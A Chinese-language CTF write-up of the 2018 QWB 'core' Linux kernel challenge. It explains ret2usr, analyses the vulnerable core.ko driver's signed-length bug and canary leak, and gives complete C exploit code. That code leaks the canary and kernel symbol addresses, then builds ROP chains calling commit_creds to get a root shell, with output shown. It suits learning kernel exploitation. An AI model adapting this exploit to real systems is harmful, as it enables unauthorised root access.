Linux Kernel Exploitation 生存日记 - 0x01

# Linux Kernel Exploitation 生存日记 - 0x01

# ret2usr

# 原理

内核栈溢出啥的劫持内核驱动的执行流,exp 里面写函数执行 commit_cred (prepare_kernel_cred (0)) 或者 commit_cred (&init_cred),即可提权到 root(执行的代码处于用户的程序中,但是此此时仍然处于内核态),之后 swapgs+iretq 返回到用户态执行 system ("/bin/sh") 即可

# Try!- 强网杯 2018 - core

# 题目分析

start.sh:

1
2
3
4
5
6
7
8
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

这里可以看到 qemu 启动 linux 的参数。
kaslr 说明开启了地址随机

之后解压文件系统。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
drwxrwxr-x 2 akyoi akyoi 4.0K  3月 17  2018 bin
-rw-rw-r-- 1 akyoi akyoi 6.9K 3月 23 2018 core.ko
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 etc
-rwxrwxr-x 1 akyoi akyoi 66 3月 17 2018 gen_cpio.sh
-rwxrwxr-x 1 akyoi akyoi 558 3月 23 2018 init
drwxrwxr-x 3 akyoi akyoi 4.0K 3月 17 2018 lib
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 lib64
lrwxrwxrwx 1 akyoi akyoi 11 10月 7 19:31 linuxrc -> bin/busybox
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 proc
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 23 2018 root
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 sbin
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 17 2018 sys
drwxrwxr-x 2 akyoi akyoi 4.0K 3月 23 2018 tmp
drwxrwxr-x 4 akyoi akyoi 4.0K 3月 17 2018 usr
-rwxrwxr-x 1 akyoi akyoi 46M 3月 23 2018 vmlinux

core.ko 就是我们分析的驱动文件。
gen_cpio.sh 方便打包 cpio

init 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms # 这里备份了kallsyms,这样相当于我们拥有了内核的地址。(/proc/kallsyms在普通用户权限下是查看不了的)
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0 -f

我们删去第一个 poweroff 指令即可关闭定时关机。同时这里也可以设置 sh 具有的权限: setsid /bin/cttyhack setuidgid 1000 /bin/sh

之后我们 IDA 分析 core.ko 文件:
初始化驱动:

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}

ioctl 函数,我们 exp 中使用 ioctl 函数与之交互:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 0x6677889B: // 此函数的功能就是根据off输出0x40字节的内容,配合下面的设置off的功能可以泄露canary
core_read(a3);
break;
case 0x6677889C: // 设置off变量
printk(&unk_2CD);
off = a3;
break;
case 0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

core_write 函数,我们使用 write 函数与之交互:

1
2
3
4
5
6
7
8
__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
printk(&unk_215);
if ( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return (unsigned int)a3;
printk(&unk_230);
return 0xFFFFFFF2LL;
}

这里限制的最大长度为 0x800

core_copy_func:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
return 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

这里比较 a1 与 63 的时候采用的是有符号的比较
之后传参采用 movzx ecx, bx 会保留最低 2 字节以及扩展符号位。
这里我们只需控制 rbx 为负数,而且 bx 扩展符号位后不会寄掉,即是一个大一些的整数,但是不过于大,比如 0x600.

程序的保护如下:

1
2
3
4
5
6
7
[*] '/home/akyoi/PWN/Kernel/ret2usr/core/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)
Stripped: No

# 攻击!

首先泄露 canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>


#define ULL unsigned long long

int main(){
save_status();
ULL canary[0x40/8];
int fd=open("/proc/core",O_RDWR);
ioctl(fd,0x6677889C,0x40);
ioctl(fd,0x6677889B,canary);
printf("Kernel Canary : %p\n",canary[0]);


return 0;
}

成功拿到 canary:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
SeaBIOS (version 1.16.3-debian-1.16.3-2)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+1EFCAE00+1EF0AE00 CA00
Booting from ROM...
[ 0.021425] Spectre V2 : Spectre mitigation: LFENCE not serializing, switchie
udhcpc: started, v1.26.2
udhcpc: sending discover
udhcpc: sending discover
udhcpc: sending select for 10.0.2.15
udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ ls
bin etc init proc tmp
core.cpio exp lib root usr
core.ko exp.c lib64 sbin vmlinux
dev gen_cpio.sh linuxrc sys
/ $ ./exp
Kernel Canary : 0x43962a7a3b2f1800
/ $

顺便看看 /tmp/kallsyms:

1
2
3
4
/ $ cat /tmp/kallsyms | grep commit_cred
ffffffffafe9c8e0 T commit_creds
/ $ cat /tmp/kallsyms | grep prepare_kernel_cred
ffffffffafe9cce0 T prepare_kernel_cred

之后就可以从这里面读入地址了,减去偏移就可以拿到基址和 ROPgadget 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>


#define ULL unsigned long long

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getshell(){
system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;

void getbase(){
FILE *fd=fopen("/tmp/kallsyms", "r");
size_t addr;
char x[0x10];
char buf[0x100];
int a=0,b=0;
while(1){
fscanf(fd,"%lx%s%s",&addr,&x,&buf);
if (!strcmp("commit_creds",buf)){
commit_creds=addr;
a=1;
}
if (!strcmp("prepare_kernel_cred",buf)){
prepare_kernel_cred=addr;
b=1;
}
if(a==1 && b==1)return ;
}
}

int main(){
save_status();
ULL canary[0x40/8];
int fd=open("/proc/core",O_RDWR);
ioctl(fd,0x6677889C,0x40);
ioctl(fd,0x6677889B,canary);
printf("Kernel Canary : %p\n",canary[0]);
getbase();
printf("commit_creds : %p\n",commit_creds);
printf("prepare_...creds: %p\n",prepare_kernel_cred);

// getshell();
return 0;
}

可以看到成功拿到地址了:

1
2
3
4
5
/ $ ./exp
Kernel Canary : 0x5392669a9ed6b500
commit_creds : 0xffffffffb6c9c8e0
prepare_...creds: 0xffffffffb6c9cce0
/ $

之后 ROP 执行 commit_creds (prepare_kernel_cred (0)) 或者 commit_cred (&init_cred) 就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/ioctl.h>

#define ULL size_t

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void getshell(){
puts("asdasdasd");
asm("push rax");
system("/bin/sh");
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
ULL base;

void getbase(){
FILE *fd=fopen("/tmp/kallsyms", "r");
size_t addr;
char x[0x10];
char buf[0x100];
int a=0,b=0;
while(1){
fscanf(fd,"%lx%s%s",&addr,&x,&buf);
if (!strcmp("commit_creds",buf)){
commit_creds=addr;
base=commit_creds-0x9c8e0;
a=1;
}
if (!strcmp("prepare_kernel_cred",buf)){
prepare_kernel_cred=addr;
b=1;
}
if(a==1 && b==1)return ;
}
}

extern int commit_creds_func(int cred);
extern int prepare_kernel_cred_func(int cred);

void to_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
/* puts("[*] root now."); */
}

int main(){
save_status();
ULL canary111[0x40/8];
int fd=open("/proc/core",O_RDWR);
ioctl(fd,0x6677889C,0x40);
ioctl(fd,0x6677889B,canary111);
printf("Kernel Canary : %p\n",canary111[0]);
getbase();
printf("commit_creds : %p\n",commit_creds);
printf("prepare_...creds: %p\n",prepare_kernel_cred);
size_t canary=canary111[0];
size_t rop[0x800]={0}; // b'a'*0x40+canary+rbp+ret
memset(rop,0,sizeof(rop));
ULL offset=base-0xffffffff81000000;
int i;
for(i=0;i<10;i++)
{
rop[i]=canary;
}
// rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
// rop[i++] = 0;
// rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

// rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
// rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
// rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
// rop[i++] = commit_creds;

// rop[i++] = (size_t)to_root;

rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0xFFFFFFFF8223D1A0 + offset; // init_cred
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)getshell; // rip

rop[i++] = user_cs; // cs
rop[i++] = user_rflags; // rflags
rop[i++] = user_sp; // rsp
rop[i++] = user_ss; // ss

write(fd,rop,0x800);
ioctl(fd,0x6677889A,0xffffffffffff0100);

// getshell();
return 0;
}

第一种:commit_creds (prepare_kernel_cred (0))

1
2
3
4
5
6
7
8
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

第二种:ret2usr

1
rop[i++] = (size_t)to_root;

第三种:commit_creds (&init_cred)

1
2
3
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0xFFFFFFFF8223D1A0 + offset; // init_cred
rop[i++] = commit_creds;

跑完就能拿到 rootshell 了

1
2
3
4
5
6
7
8
9
10
11
/ $ ./exp_rop
[*] Status has been saved.
Kernel Canary : 0x1802bc00ab651400
commit_creds : 0xffffffffa2e9c8e0
prepare_...creds: 0xffffffffa2e9cce0
asdasdasd
/ # whoami
root
/ # id
uid=0(root) gid=0(root)
/ #